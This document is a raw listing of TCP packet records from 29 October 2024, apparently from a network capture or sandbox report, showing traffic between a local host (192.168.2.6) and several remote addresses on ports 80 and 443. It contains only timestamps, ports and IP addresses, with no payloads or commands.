Oct 29, 2024 17:59:48.021661997 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.021672964 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.021716118 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.022001028 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.022063971 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.022099018 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.022128105 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.022155046 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.022253036 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.097105026 CET	443	50030	20.125.209.212	192.168.2.6
Oct 29, 2024 17:59:48.104849100 CET	443	50022	13.70.79.200	192.168.2.6
Oct 29, 2024 17:59:48.105371952 CET	50022	443	192.168.2.6	13.70.79.200
Oct 29, 2024 17:59:48.105434895 CET	443	50022	13.70.79.200	192.168.2.6
Oct 29, 2024 17:59:48.105578899 CET	50022	443	192.168.2.6	13.70.79.200
Oct 29, 2024 17:59:48.111978054 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.117261887 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.119410992 CET	443	50030	20.125.209.212	192.168.2.6
Oct 29, 2024 17:59:48.121198893 CET	50030	443	192.168.2.6	20.125.209.212
Oct 29, 2024 17:59:48.122272015 CET	50030	443	192.168.2.6	20.125.209.212
Oct 29, 2024 17:59:48.122288942 CET	443	50030	20.125.209.212	192.168.2.6
Oct 29, 2024 17:59:48.174134970 CET	443	50032	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:48.174699068 CET	50032	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:48.174742937 CET	443	50032	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:48.175328016 CET	50032	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:48.175339937 CET	443	50032	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:48.206039906 CET	443	50031	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:48.206630945 CET	50031	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:48.206643105 CET	443	50031	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:48.207226038 CET	50031	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:48.207231045 CET	443	50031	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:48.244174957 CET	443	50013	13.70.79.200	192.168.2.6
Oct 29, 2024 17:59:48.246263981 CET	50013	443	192.168.2.6	13.70.79.200
Oct 29, 2024 17:59:48.246336937 CET	443	50013	13.70.79.200	192.168.2.6
Oct 29, 2024 17:59:48.246390104 CET	50013	443	192.168.2.6	13.70.79.200
Oct 29, 2024 17:59:48.263320923 CET	443	50035	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:48.263859034 CET	50035	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:48.263884068 CET	443	50035	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:48.264437914 CET	50035	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:48.264445066 CET	443	50035	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:48.272777081 CET	443	50034	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:48.273260117 CET	50034	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:48.273287058 CET	443	50034	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:48.273924112 CET	50034	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:48.273930073 CET	443	50034	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:48.297261000 CET	443	50033	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:48.297682047 CET	50033	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:48.297703028 CET	443	50033	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:48.298091888 CET	50033	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:48.298098087 CET	443	50033	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:48.305010080 CET	443	50024	13.70.79.200	192.168.2.6
Oct 29, 2024 17:59:48.305586100 CET	50024	443	192.168.2.6	13.70.79.200
Oct 29, 2024 17:59:48.305682898 CET	443	50024	13.70.79.200	192.168.2.6
Oct 29, 2024 17:59:48.305792093 CET	50024	443	192.168.2.6	13.70.79.200
Oct 29, 2024 17:59:48.307290077 CET	443	50032	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:48.307965994 CET	443	50032	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:48.308015108 CET	443	50032	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:48.308031082 CET	50032	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:48.308074951 CET	50032	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:48.308132887 CET	50032	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:48.308150053 CET	443	50032	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:48.308161020 CET	50032	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:48.308166027 CET	443	50032	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:48.310583115 CET	50036	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:48.310615063 CET	443	50036	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:48.310833931 CET	50036	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:48.310954094 CET	50036	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:48.310966015 CET	443	50036	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:48.533102989 CET	443	50031	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:48.533183098 CET	443	50031	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:48.533248901 CET	50031	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:48.533510923 CET	50031	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:48.533510923 CET	50031	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:48.533515930 CET	443	50031	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:48.533524990 CET	443	50031	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:48.533849001 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.533879995 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.533910036 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.533915043 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.533934116 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.533952951 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.533965111 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.533984900 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.534024954 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.534033060 CET	443	50035	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:48.534033060 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.534039021 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.534044981 CET	443	50035	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:48.534053087 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.534080029 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.534090042 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.534106016 CET	443	50035	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:48.534121990 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.534121990 CET	50035	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:48.534138918 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.534143925 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.534168959 CET	50035	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:48.534184933 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.534193039 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.534229040 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.534261942 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.534269094 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.534296989 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.534332991 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.534344912 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.534368038 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.534403086 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.534409046 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.534437895 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.534457922 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.534471989 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.534485102 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.534509897 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.534544945 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.534554005 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.534766912 CET	443	50034	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:48.534795046 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.534822941 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.534832001 CET	443	50034	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:48.534851074 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.534980059 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.535013914 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.535029888 CET	50034	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:48.535043955 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.535046101 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.535059929 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.535082102 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.535090923 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.535130024 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.535137892 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.535160065 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.535259962 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.535480976 CET	443	50033	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:48.535660982 CET	443	50033	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:48.535729885 CET	50033	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:48.535914898 CET	50035	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:48.535936117 CET	443	50035	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:48.536014080 CET	50035	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:48.536021948 CET	443	50035	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:48.536278009 CET	50034	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:48.536303997 CET	443	50034	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:48.536320925 CET	50034	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:48.536326885 CET	443	50034	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:48.537765026 CET	50033	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:48.537781000 CET	443	50033	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:48.537838936 CET	50033	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:48.537847042 CET	443	50033	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:48.540741920 CET	50037	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:48.540780067 CET	443	50037	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:48.541039944 CET	50037	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:48.541141033 CET	50038	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:48.541178942 CET	443	50038	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:48.541228056 CET	50038	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:48.541996956 CET	50039	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:48.542007923 CET	443	50039	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:48.542062998 CET	50039	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:48.542105913 CET	50040	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:48.542128086 CET	443	50040	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:48.542186975 CET	50040	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:48.542259932 CET	50037	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:48.542274952 CET	443	50037	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:48.542341948 CET	50040	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:48.542357922 CET	443	50040	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:48.542498112 CET	50038	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:48.542507887 CET	443	50038	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:48.542588949 CET	50039	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:48.542599916 CET	443	50039	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:48.561053991 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.561114073 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.561151981 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.561201096 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.561223984 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.561259985 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.561294079 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.561345100 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.561361074 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.561413050 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.561446905 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.561449051 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.561474085 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.561481953 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.561492920 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.561520100 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.561566114 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.561590910 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.561786890 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.561836958 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.561856985 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.561872005 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.561878920 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.561887026 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.561897993 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.561901093 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.561916113 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.561917067 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.561944008 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.561965942 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.562797070 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.562850952 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.562853098 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.562906027 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.562942982 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.562954903 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.562978983 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.562987089 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.563019037 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.563066006 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.563080072 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.563205957 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.632633924 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.632702112 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.632707119 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.632989883 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.633074045 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.633126974 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.633140087 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.633167982 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.633218050 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.677819967 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.677918911 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.677970886 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.677977085 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.678008080 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.678015947 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.678045988 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.678081989 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.678092957 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.678119898 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.678138018 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.678189039 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.678245068 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.678500891 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.678545952 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.678553104 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.678589106 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.678622961 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.678633928 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.678658962 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.678769112 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.678849936 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.678894043 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.678900957 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.678937912 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.679003000 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.679006100 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.679055929 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.679071903 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.679091930 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.679126024 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.679171085 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.723649025 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.723684072 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.723718882 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.723720074 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.723738909 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.723754883 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.723792076 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.723798037 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.723826885 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.723845005 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.723860979 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.723896027 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.723903894 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.723931074 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.723952055 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.723975897 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.725660086 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.725696087 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.725722075 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.725733995 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.750392914 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.750428915 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.750463963 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.750519991 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.750549078 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.750549078 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.795363903 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.795382977 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.795398951 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.795424938 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.795438051 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.795444965 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.795453072 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.795460939 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.795466900 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.795475960 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.795519114 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.795787096 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.795802116 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.795825005 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.795847893 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.795850992 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.795860052 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.795890093 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.796154022 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.796180010 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.796195030 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.796220064 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.796247005 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.796252966 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.796273947 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.796291113 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.796307087 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.796324015 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.796331882 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.796358109 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.796380997 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.840944052 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.840996027 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.841032028 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.841058969 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.841111898 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.841111898 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.841137886 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.841181993 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.841192007 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.841240883 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.841265917 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.841275930 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.841284990 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.841320038 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.841325045 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.841362953 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.841377020 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.841408968 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.841442108 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.841442108 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.867695093 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.867711067 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.867743015 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.867763996 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.867779970 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.867809057 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.912638903 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.912683010 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.912719011 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.912765980 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:48.912776947 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.912801981 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.912818909 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:48.912834883 CET	80	49958	185.215.113.206	192.168.2.6
